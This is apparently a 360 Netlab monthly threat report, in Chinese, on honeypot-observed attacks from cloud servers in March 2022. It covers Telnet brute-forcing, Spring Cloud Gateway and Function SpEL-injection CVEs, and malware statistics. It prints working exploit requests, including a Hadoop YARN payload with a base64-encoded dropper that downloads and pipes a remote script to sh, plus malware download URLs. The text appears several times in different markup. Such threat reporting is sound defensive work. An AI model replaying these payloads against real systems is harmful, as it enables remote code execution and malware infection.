src="__GHOST_URL__/content/images/2022/04/image-20220408112829328.png" class="kg-image" alt loading="lazy"></figure><p> 定位Actuator的控制器AbstractGatewayControllerEndpoint,根据RouteDefinition解析数据:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220408112614972.png" class="kg-image" alt loading="lazy"></figure><p> 设置断点,发送蜜罐系统捕获的payload数据:</p><pre><code>POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
</code></pre><p> validateRouteDefinition函数调用isAvailable函数对name进行校验:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220408112631826.png" class="kg-image" alt loading="lazy"></figure><p> 动态调试有以下name符合条件:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220408112701296.png" class="kg-image" alt loading="lazy"></figure><p> 路由创建成功后,发送蜜罐系统捕获的refresh:</p><pre><code>POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
</code></pre><p> 成功触发表达式解析:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220408112711977.png" class="kg-image" alt loading="lazy"></figure><p><strong>(2)Spring Cloud Function SpEL表达式远程代码执行漏洞(CVE-2022-22963)</strong></p><!--kg-card-begin: markdown--><p><strong>漏洞信息</strong></p>
<ul>
<li>影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2</li>
<li>CVE编号:CVE-2022-22963</li>
<li>披露日期:2022.03.24</li>
<li>CVSS3.0评分:9.8</li>
<li>影响设备量级:万级</li>
</ul>
<!--kg-card-end: markdown--><p>自24日漏洞公布后,已有攻击者尝试利用此漏洞进行恶意软件传播,如下图所示。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-55.png" class="kg-image" alt loading="lazy"></figure><p>漏洞详情及补救措施<a href="https://tanzu.vmware.com/security/cve-2022-22947">点此查看</a>,以下是该漏洞的技术细节分析。</p><h4 id="--5">[漏洞补丁]</h4><p> 在functionFromExpression新增bool类型参数isViaHeader :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407110944549.png" class="kg-image" alt loading="lazy"></figure><p> 通过isViaHeader 判断,当请求数据的header头存在spring.cloud.function.routing-expression头时,调用SimpleEvaluationContext函数处理,SimpleEvaluationContext 针对不需要SpEL语言语法的全部范围且受到有意限制的表达式类别, SpEL无法调用Java类对象、引用bean, 从而修复SPEL表达式注入漏洞。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407110934910.png" class="kg-image" alt loading="lazy"></figure><h4 id="--6">[漏洞分析]</h4><p> 通过RoutingFunction发现位于FunctionWebRequestProcessingHelper的可疑调用:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407111013999.png" class="kg-image" alt loading="lazy"></figure><p>根据FunctionWebRequestProcessingHelper.processRequest调用情况发现,FunctionController接口的post请求存在调用:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407111032526.png" class="kg-image" alt loading="lazy"></figure><p> 设置断点,发送蜜罐系统捕获的payload数据:</p><pre><code>POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
</code></pre><p> 在FunctionWebRequestProcessingHelper.processRequest()函数处理中,判断request对应的function为RoutingFunction类型时,将进入RoutingFunction.apply()处理:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407111046682.png" class="kg-image" alt loading="lazy"></figure><p> RoutingFunction.apply调用route函数,route函数从Header提取spring.cloud.function.routing-expression,然后调用functionFromExpression函数处理:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407111057525.png" class="kg-image" alt loading="lazy"></figure><p> functionFromExpression函数未对request做任何过滤,调用expression.getvalue()函数,存在SpEL表达式解析漏洞:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-20220407111110825.png" class="kg-image" alt loading="lazy"></figure><h3 id="--7">云服务器攻击总体情况</h3><blockquote>三月份共监测到全球超12余万个云服务器(源IP)异常访问蜜罐节点并与之交互,其中3万多个IP发生漏洞扫描和攻击行为,超7000个IP发生恶意软件传播行为,近2万个IP发生密码爆破攻击行为。</blockquote><p>三月份我们通过对全球公有云服务器的监测,共捕获云服务器威胁攻击事件近6200万次,其中包括漏洞攻击4700余万次(涉及3万多个云服务器),漏洞攻击事件共涉及1118个漏洞、传播恶意软件近1400万次(涉及7000多个云服务器)。</p><p>攻击态势主要聚焦在针对Web应用和数据库的攻击、僵尸网络攻击等,攻击方式主要为暴力破解、远程命令/代码执行等,其中需要关注的是针对IoT设备的漏洞攻击逐步呈上升趋势,我们捕获到针对IoT攻击的攻击源数量超3000个,尝试攻击的会话数超200余万次。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-42.png" class="kg-image" alt loading="lazy"></figure><p>全球云服务器的三月数据中,捕获超2000个,日均传播次数超16万余次,涉及恶意程序家族38个,其中按样本捕获量以Mirai家族及其变种为首,按传播次数排名前三位的为CoinMiner、Mirai、Rootkit家族。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-50.png" class="kg-image" alt loading="lazy"></figure><p>其中国内云服务器,捕获恶意程序样本数量超400余个,日均传播次数10万余次,涉及恶意程序家族近30个,其中按样本捕获量以CoinMiner家族及其变种为首,按传播次数排名前三位的为CoinMiner、Rootkit、TrojanDownloader家族。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-53.png" class="kg-image" alt loading="lazy"></figure><p>从云服务商的情况来看,本月数量前5的云服务商是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-33.png" class="kg-image" alt loading="lazy"></figure><p><strong>从漏洞攻击针对的厂商、产品分析</strong>,各类漏洞攻击的IP数量较二月有大幅度提升,尤其专注于对Redis、Docker等设备的重点攻击。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-12.png" class="kg-image" alt loading="lazy"></figure><p><strong>从恶意软件传播情况分析</strong>,恶意挖矿类(CoinMiner)传播次数最多,木马下载器(TrojanDownloader)的传播源IP数量最多,超过5500个。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-14.png" class="kg-image" alt loading="lazy"></figure><p>oracle.zzhreceive.top和bbq.zzhreceive.top是被最多IP使用的下载服务器。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-38.png" class="kg-image" alt loading="lazy"></figure><p>在密码爆破攻击方面,81.3%的云服务器IP集中在SSH协议的暴力破解上,其次是Telnet协议,占比8.8%。腾讯云和DigitalCloud是暴力破解攻击源IP最多的云服务商,3月份分别有4700+和4300+个攻击源IP。在暴力破解会话数方面,DigitalCloud遥遥领先,有多达3052万次暴力破解会话。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2022/04/image-34.png" class="kg-image" alt loading="lazy"></figure><hr><!--kg-card-begin: markdown--><h3 id="">联系我们</h3>
<p>感兴趣的读者,可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="ioclist">IoC List</h3>
<p>URL:</p>
<pre><code>http://14.1.98.226:8880/7z
http://51.81.133.90/NWWW.6
http://51.81.133.90/qweasd
http://14.1.98.226:8880/ff.elf
</code></pre>
<p>md5:</p>
<pre><code>b9bcb150c1449dcc6a69ff1916a115ce
8c47779d3ad0e925461b4fbf7d3a139d
392f13b090f54438b3212005226e5d52
24afae2eee766cbabf8142ef076ce1
</code></pre>
<!--kg-card-end: markdown--> | 概述
本文聚焦于云上重点资产的扫描攻击、云服务器总体攻击情况分析、热门漏洞及恶意程序的攻击威胁。
* 360高级威胁狩猎蜜罐系统发现全球12万个云服务器IP,进行网络扫描、漏洞攻击、传播恶意软件等行为。其中包括国内156家单位的服务器IP,涉及大型央企、政府机关等行业。
* Spring厂商连续公开3个关键漏洞,CVE-2022-22947、CVE-2022-22963、CVE-2022-22965,本文将对前两个漏洞进行细节分析,第三个漏洞细节点此查看。
* 本月共记录威胁攻击8亿次有余(其中包括漏洞攻击7.4亿余次、传播恶意软件超5500万次),新增IoC累计68万余个,其中针对IoT设备的漏洞攻击呈上升趋势。
云上重点资产扫描攻击
三月份,我们共监测到全国156个公有云重点资产存在异常扫描及攻击行为。
随着业务不断上云,发生在公有云平台上的网络安全事件和威胁数量居高不下,国内重点行业包括但不限于我国的科研机构、大型企业、政府及事业单位成为攻击者的重点攻击对象,合计攻击源156个。
根据所属云服务商来源,我们发现我国重点IP的云服务商以阿里云使用为主,其次为腾讯云。
从漏洞利用的角度来看,攻击者主要通过SSH暴力破解、Gitlab远程命令执行漏洞、Redis远程命令执行的漏洞攻击方式对我国公有云重点IP进行攻击。
下表为其中部分案例:
案例1:位于北京的IP地址为39.101.*.* 的阿里云服务器,属于***联络处,访问对应域名可进入该单位**平台,其IP在3月上旬对蜜罐节点存在Telnet暴力破解行为:
��telnetadmin
telnetadmin
enable
system
shell
sh
/bin/busybox IZ1H9
案例2:位于上海的IP地址为118.89.*.*的腾讯云IP属于***办公室,该IP有Apache Tomcat暴力破解,ThinkPHP漏洞, Hadoop YARN ResourceManager未授权访问漏洞等5个漏洞利用或暴力破解的恶意行为,并传播了TrojanDownloader类的恶意软件,以Hadoop YARN ResourceManager未授权访问漏洞为例,攻击Payload如下所示:
POST /ws/v1/cluster/apps HTTP/1.1
Host: {target}:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Content-Length: 3742
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
{
"application-id": "application_1526990652950_72948",
"application-name": "i24jndw5",
"am-container-spec": { "commands": { "command": "echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KZm9yIGkgaW4gMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMTtkbyBwcyAtZWZ8Z3JlcCAtdiBmYzZifGdyZXAgJ2ZjNmJcfGVwIGN1clx8ZXAgd2dlXHxlcCBpbXAnfGF3ayAne3ByaW50ICQzfSd8eGFyZ3MgLUkgJSBraWxsIC05ICU7ZG9uZQoKcGtpbGwgLTkgLWYgJ3NvXC50eHQnCnBraWxsIC05IC1mICdiYXNoIC1zIDM2NzMnCnBraWxsIC05IC1mIDgwMDUvY2M1CnBraWxsIC05IC1mIHJlYWRka2sKcGtpbGwgLTkgLWYgJ2ZsdWVuY2UvaW5zdGFsbFwuc2gnCnBraWxsIC05IHJlYWRkaQpwa2lsbCAtOSBsYWJraWxsCnBraWxsIC05IGp1aWNlU1NICnBraWxsIC05IHBvc3RncmVzd2sKcGtpbGwgLTkgcG9sc2thCnBraWxsIC05IC1mICdcLi9cLicKcGtpbGwgLTkgLWYgJy90bXAvXC4nCnBraWxsIC05IC1mIGtlcm5lbHgKcGtpbGwgLTkgLWYgZ3Jlcy1zeXN0ZW0KcGtpbGwgLTkgLWYgZ3Jlcy1rZXJuZWwKcGtpbGwgLTkgLWYgcGFzdGViaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgImJpbi9wZXJsXHwvZGV2L3NobSI7IHRoZW4KICAgIGtpbGwgLTkgJGkKICBmaQpkb25lCgppZiBbICEgLXggIiQoY29tbWFuZCAtdiBjdXJsKSIgLWEgISAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgY2QgL3RtcCB8fCBjZCAvdmFyL3RtcAogIGNoYXR0ciAtaSBkOyBjaGF0dHIgLWkgZGxyOyBybSAtcmYgZCBkbHIKICBlY2hvIGYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBSklNRUNEUUFBQURNQXdBQUFBQUFBRFFBSUFBREFDZ0FCUUFFQUFFQUFBQUFBQUFBQUlBRUNBQ0FCQWlyQXdBQXF3TUFBQVVBQUFBQUVBQUFBUUFBQUt3REFBQ3Nrd1FJckpNRUNBQUFBQUFFQUFBQUJnQUFBQUFRQUFCUjVYUmtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFBQUJBQUFBRldKNVErMlZRZ1B0a1VNRDdaTkVNSGlHTUhnRUFuQ0Q3WkZGTUhoQ0YwSndnblJpY3FKeUlIaUFQOEFBTUhpQ01IZ0dBblFpY3FCNFFBQS93REI2aGpCNlFnSnlnblF3MVdKNVlQc0VQOTFDR29CNkVRQ0FBQ0R4QkRKdzFXSjVZUHNFUDkxQ0dvRzZDOENBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29GNkJjQ0FBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQTJwbTZQQUJBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29FNk5nQkFBREp3MVdKNVlQc0NQOTFFUDkxRFA5MUNHb0Q2TUFCQUFESncxV0o1WVBzSEl0RkNJbEY5SXRGRElsRitJdEZFSWxGL0kxRjlGQnFBV3BtNkprQkFBREp3MVc0ZllNRUNJbmxWMVpUZ2V5c0FBQUE2d0ZBZ0RnQWRmb3RmWU1FQ0ltRlVQLy8vMUJxQW1pRGd3UUlhZ0hvZHYvLy8yb1ZhT01BQUFCb2tRQUFBR2pDQUFBQVpzZEY0QUlBWnNkRjRnQlE2S2IrLy8rRHhCeG8vd0VBQUdoQkFnQUFhSWFEQkFpSlJlVG8rLzcvLzRQRURHb0FhZ0ZxQW9uSDZGci8vLytEeEJDRCtQK0p4blFGZy8vL2RRMkQ3QXhxQWVpci92Ly9nOFFRVUdvUWpVWGdVRmJvMnY3Ly80UEVFSVhBaWNONUhGRDMyMm9CYUlxREJBaHFBZWpuL3YvL2lSd2s2SG4rLy8rRHhCQ0xuVkQvLy85UWc4TVhVMmlNZ3dRSVZ1akcvdi8vZzhRUU9kaDBEWVBzREdvRDZFLysvLytEeEJBeDIxQnFBWTFGODFCVzZMdisvLytEeEJCSWRBMkQ3QXhxQk9ndC92Ly9nOFFRRDc1Rjg4SGpDQW5EZ2ZzS0RRb05kYzlSYUlBQUFBQ05uV0QvLy85VFZ1aUUvdi8vZzhRUWhjQitEbEpRVTFmb1hQNy8vNFBFRU92WWcrd01WdWo5L2YvL2lUd2s2UFg5Ly8rRHhBeHFBV2lwZ3dRSWFnSG9OZjcvLzhjRUpBVUFBQURvdy8zLy80UEVFSTFsOUZ0ZVgxM0RWWW5sWGVscy92Ly9rSkNRVlZkV1U0dHNKQ3lMZkNRb2kzUWtKSXRVSkNDTFRDUWNpMXdrR0l0RUpCVE5nRnRlWDEwOUFmRC8vdytEQVFBQUFNT0Q3QXlKd3ZmYTZBa0FBQUNKRUlQSS80UEVETU80ckpNRUNNTmhiV1EyTkFBakNnQmtiSElBUHdCSFJWUWdMMk4xY213dFlXMWtOalFnU0ZSVVVDOHhMakFOQ2cwS0FDTUFBQUF1YzJoemRISjBZV0lBTG5SbGVIUUFMbkp2WkdGMFlRQXVZbk56QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXNBQUFBQkFBQUFCZ0FBQUpTQUJBaVVBQUFBNlFJQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBUkFBQUFBUUFBQURJQUFBQjlnd1FJZlFNQUFDNEFBQUFBQUFBQUFBQUFBQUVBQUFBQkFBQUFHUUFBQUFnQUFBQURBQUFBckpNRUNLd0RBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFFQUFBQURBQUFBQUFBQUFBQUFBQUNzQXdBQUhnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQT18YmFzZTY0IC1kID4gZAogIGNobW9kICt4IGQ7IC4vZHx8Li9kOyBybSAtZiBkOyBjaG1vZCAreCBkbHIKZmkKCihjdXJsICRjfHxjdXJsICRjfHx3Z2V0IC1xIC1PLSAkY3x8Y3VybCAtayAkY3x8Y3VybCAtayAkY3x8d2dldCAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1xIC1PLSAkY3x8Li9kbHIgJGN8fC4vZGxyICRjKXxzaAo=|base64 -d|sh" } },
"application-type": "YARN"
}
热门漏洞攻击
2022年3月1日,Spring厂商发布高危漏洞CVE-2022-22947,可能使其应用程序受到代码注入攻击。同月24日再次公开漏洞CVE-2022-22963,该漏洞影响JDK 9+上的SpringMV及WebFlux应用程序,我们发现攻击者正在利用该漏洞传播恶意软件。
(1)Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)
漏洞信息
* 影响范围:Spring Cloud Gateway 3.1.0、3.0.0-3.0.6及不受支持的旧版本
* CVE编号:CVE-2022-22947
* 披露日期:2022.03.01
* CVSS 3.0评分:10.0
* 影响设备量级:千万级
下图为该漏洞的攻击源IP与会话数量趋势,我们发现攻击者IP的数量和攻击者尝试利用该漏洞的次数呈现上升趋势。
漏洞详情及补救措施点此查看,以下是该漏洞的技术细节分析。
[漏洞补丁]
在spring-cloud-gateway-server/src/main/java/org/springframework/ cloud/gateway/support/ShortcutConfigurable.java中,将getValue函数中的StandardEvaluationContext替换为GatewayEvaluationContext修复SpEL表达式注入:
[漏洞分析]
查看函数getValue的调用,在RouteDefinitionLocator函数中,根据RouteDefinition提取GatewayFilter:
根据官方文档,通过Actuator API可创建路由:
定位Actuator的控制器AbstractGatewayControllerEndpoint,根据RouteDefinition解析数据:
设置断点,发送蜜罐系统捕获的payload数据:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
validateRouteDefinition函数调用isAvailable函数对name进行校验:
动态调试有以下name符合条件:
路由创建成功后,发送蜜罐系统捕获的refresh:
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
成功触发表达式解析:
(2)Spring Cloud Function SpEL表达式远程代码执行漏洞(CVE-2022-22963)
漏洞信息
* 影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
* CVE编号:CVE-2022-22963
* 披露日期:2022.03.24
* CVSS3.0评分:9.8
* 影响设备量级:万级
自24日漏洞公布后,已有攻击者尝试利用此漏洞进行恶意软件传播,如下图所示。
漏洞详情及补救措施点此查看,以下是该漏洞的技术细节分析。
[漏洞补丁]
在functionFromExpression新增bool类型参数isViaHeader :
通过isViaHeader 判断,当请求数据的header头存在spring.cloud.function.routing-expression头时,调用SimpleEvaluationContext函数处理,SimpleEvaluationContext 针对不需要SpEL语言语法的全部范围且受到有意限制的表达式类别, SpEL无法调用Java类对象、引用bean, 从而修复SPEL表达式注入漏洞。
[漏洞分析]
通过RoutingFunction发现位于FunctionWebRequestProcessingHelper的可疑调用:
根据FunctionWebRequestProcessingHelper.processRequest调用情况发现,FunctionController接口的post请求存在调用:
设置断点,发送蜜罐系统捕获的payload数据:
POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
test
在FunctionWebRequestProcessingHelper.processRequest()函数处理中,判断request对应的function为RoutingFunction类型时,将进入RoutingFunction.apply()处理:
RoutingFunction.apply调用route函数,route函数从Header提取spring.cloud.function.routing-expression,然后调用functionFromExpression函数处理:
functionFromExpression函数未对request做任何过滤,调用expression.getvalue()函数,存在SpEL表达式解析漏洞:
云服务器攻击总体情况
三月份共监测到全球超12余万个云服务器(源IP)异常访问蜜罐节点并与之交互,其中3万多个IP发生漏洞扫描和攻击行为,超7000个IP发生恶意软件传播行为,近2万个IP发生密码爆破攻击行为。
三月份我们通过对全球公有云服务器的监测,共捕获云服务器威胁攻击事件近6200万次,其中包括漏洞攻击4700余万次(涉及3万多个云服务器),漏洞攻击事件共涉及1118个漏洞、传播恶意软件近1400万次(涉及7000多个云服务器)。
攻击态势主要聚焦在针对Web应用和数据库的攻击、僵尸网络攻击等,攻击方式主要为暴力破解、远程命令/代码执行等,其中需要关注的是针对IoT设备的漏洞攻击逐步呈上升趋势,我们捕获到针对IoT攻击的攻击源数量超3000个,尝试攻击的会话数超200余万次。
全球云服务器的三月数据中,捕获超2000个,日均传播次数超16万余次,涉及恶意程序家族38个,其中按样本捕获量以Mirai家族及其变种为首,按传播次数排名前三位的为CoinMiner、Mirai、Rootkit家族。
其中国内云服务器,捕获恶意程序样本数量超400余个,日均传播次数10万余次,涉及恶意程序家族近30个,其中按样本捕获量以CoinMiner家族及其变种为首,按传播次数排名前三位的为CoinMiner、Rootkit、TrojanDownloader家族。
从云服务商的情况来看,本月数量前5的云服务商是腾讯云、DigitalOcean、阿里云、亚马逊AWS和微软Azure。
从漏洞攻击针对的厂商、产品分析,各类漏洞攻击的IP数量较二月有大幅度提升,尤其专注于对Redis、Docker等设备的重点攻击。
从恶意软件传播情况分析,恶意挖矿类(CoinMiner)传播次数最多,木马下载器(TrojanDownloader)的传播源IP数量最多,超过5500个。
oracle.zzhreceive.top和bbq.zzhreceive.top是被最多IP使用的下载服务器。
在密码爆破攻击方面,81.3%的云服务器IP集中在SSH协议的暴力破解上,其次是Telnet协议,占比8.8%。腾讯云和DigitalCloud是暴力破解攻击源IP最多的云服务商,3月份分别有4700+和4300+个攻击源IP。在暴力破解会话数方面,DigitalCloud遥遥领先,有多达3052万次暴力破解会话。
联系我们
感兴趣的读者,可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC List
URL:
http://14.1.98.226:8880/7z
http://51.81.133.90/NWWW.6
http://51.81.133.90/qweasd
http://14.1.98.226:8880/ff.elf
md5:
b9bcb150c1449dcc6a69ff1916a115ce
8c47779d3ad0e925461b4fbf7d3a139d
392f13b090f54438b3212005226e5d52
24afae2eee766cbabf8142ef076ce1
| {"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2022/04/image-54.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-51.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-52.png"}],["image",{"src":"__GHOST_URL__/content/images/2022/04/image-29.png"}],["code",{"code":"��telnetadmin\ntelnetadmin\nenable\nsystem\nshell\nsh\n/bin/busybox IZ1H9\n"}],["code",{"code":"POST /ws/v1/cluster/apps HTTP/1.1\nHost: {target}:8088\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nContent-Length: 3742\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nContent-Type: application/json\nAccept-Encoding: gzip\nConnection: close\n\n{\n \"application-id\": \"application_1526990652950_72948\",\n \"application-name\": \"i24jndw5\",\n\t\"am-container-spec\": { \"commands\": { \"command\": \"echo Yz1odHRwOi8vMTk0LjE0NS4yMjcuMjEvbGRyLnNoP2Y5ZWRhYQpleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KZm9yIGkgaW4gMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMSAxIDEgMTtkbyBwcyAtZWZ8Z3JlcCAtdiBmYzZifGdyZXAgJ2ZjNmJcfGVwIGN1clx8ZXAgd2dlXHxlcCBpbXAnfGF3ayAne3ByaW50ICQzfSd8eGFyZ3MgLUkgJSBraWxsIC05ICU7ZG9uZQoKcGtpbGwgLTkgLWYgJ3NvXC50eHQnCnBraWxsIC05IC1mICdiYXNoIC1zIDM2NzMnCnBraWxsIC05IC1mIDgwMDUvY2M1CnBraWxsIC05IC1mIHJlYWRka2sKcGtpbGwgLTkgLWYgJ2ZsdWVuY2UvaW5zdGFsbFwuc2gnCnBraWxsIC05IHJlYWRkaQpwa2lsbCAtOSBsYWJraWxsCnBraWxsIC05IGp1aWNlU1NICnBraWxsIC05IHBvc3RncmVzd2sKcGtpbGwgLTkgcG9sc2thCnBraWxsIC05IC1mICdcLi9cLicKcGtpbGwgLTkgLWYgJy90bXAvXC4nCnBraWxsIC05IC1mIGtlcm5lbHgKcGtpbGwgLTkgLWYgZ3Jlcy1zeXN0ZW0KcGtpbGwgLTkgLWYgZ3Jlcy1rZXJuZWwKcGtpbGwgLTkgLWYgcGFzdGViaW4KCmZvciBpIGluICQocHMgLWVmIHwgZ3JlcCBhdGxhc3NpYW4gfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICBpZiBscyAtYWwgL3Byb2MvJGkgfCBncmVwIGV4ZSB8IGdyZXAgImJpbi9wZXJsXHwvZGV2L3NobSI7IHRoZW4KICAgIGtpbGwgLTkgJGkKICBmaQpkb25lCgppZiBbICEgLXggIiQoY29tbWFuZCAtdiBjdXJsKSIgLWEgISAteCAiJChjb21tYW5kIC12IHdnZXQpIiBdOyB0aGVuCiAgY2QgL3RtcCB8fCBjZCAvdmFyL3RtcAogIGNoYXR0ciAtaSBkOyBjaGF0dHIgLWkgZGxyOyBybSAtcmYgZCBkbHIKICBlY2hvIGYwVk1SZ0VCQVFBQUFBQUFBQUFBQUFJQUF3QUJBQUFBSklNRUNEUUFBQURNQXdBQUFBQUFBRFFBSUFBREFDZ0FCUUFFQUFFQUFBQUFBQUFBQUlBRUNBQ0FCQWlyQXdBQXF3TUFBQVVBQUFBQUVBQUFBUUFBQUt3REFBQ3Nrd1FJckpNRUNBQUFBQUFFQUFBQUJnQUFBQUFRQUFCUjVYUmtBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHQUFBQUJBQUFBRldKNVErMlZRZ1B0a1VNRDdaTkVNSGlHTUhnRUFuQ0Q3WkZGTUhoQ0YwSndnblJpY3FKeUlIaUFQOEFBTUhpQ01IZ0dBblFpY3FCNFFBQS93REI2aGpCNlFnSnlnblF3MVdKNVlQc0VQOTFDR29CNkVRQ0FBQ0R4QkRKdzFXSjVZUHNFUDkxQ0dvRzZDOENBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29GNkJjQ0FBREp3MVdKNVlQc0hJdEZDSWxGOUl0RkRJbEYrSXRGRUlsRi9JMUY5RkJxQTJwbTZQQUJBQURKdzFXSjVZUHNDUDkxRVA5MURQOTFDR29FNk5nQkFBREp3MVdKNVlQc0NQOTFFUDkxRFA5MUNHb0Q2TUFCQUFESncxV0o1WVBzSEl0RkNJbEY5SXRGRElsRitJdEZFSWxGL0kxRjlGQnFBV3BtNkprQkFBREp3MVc0ZllNRUNJbmxWMVpUZ2V5c0FBQUE2d0ZBZ0RnQWRmb3RmWU1FQ0ltRlVQLy8vMUJxQW1pRGd3UUlhZ0hvZHYvLy8yb1ZhT01BQUFCb2tRQUFBR2pDQUFBQVpzZEY0QUlBWnNkRjRnQlE2S2IrLy8rRHhCeG8vd0VBQUdoQkFnQUFhSWFEQkFpSlJlVG8rLzcvLzRQRURHb0FhZ0ZxQW9uSDZGci8vLytEeEJDRCtQK0p4blFGZy8vL2RRMkQ3QXhxQWVpci92Ly9nOFFRVUdvUWpVWGdVRmJvMnY3Ly80UEVFSVhBaWNONUhGRDMyMm9CYUlxREJBaHFBZWpuL3YvL2lSd2s2SG4rLy8rRHhC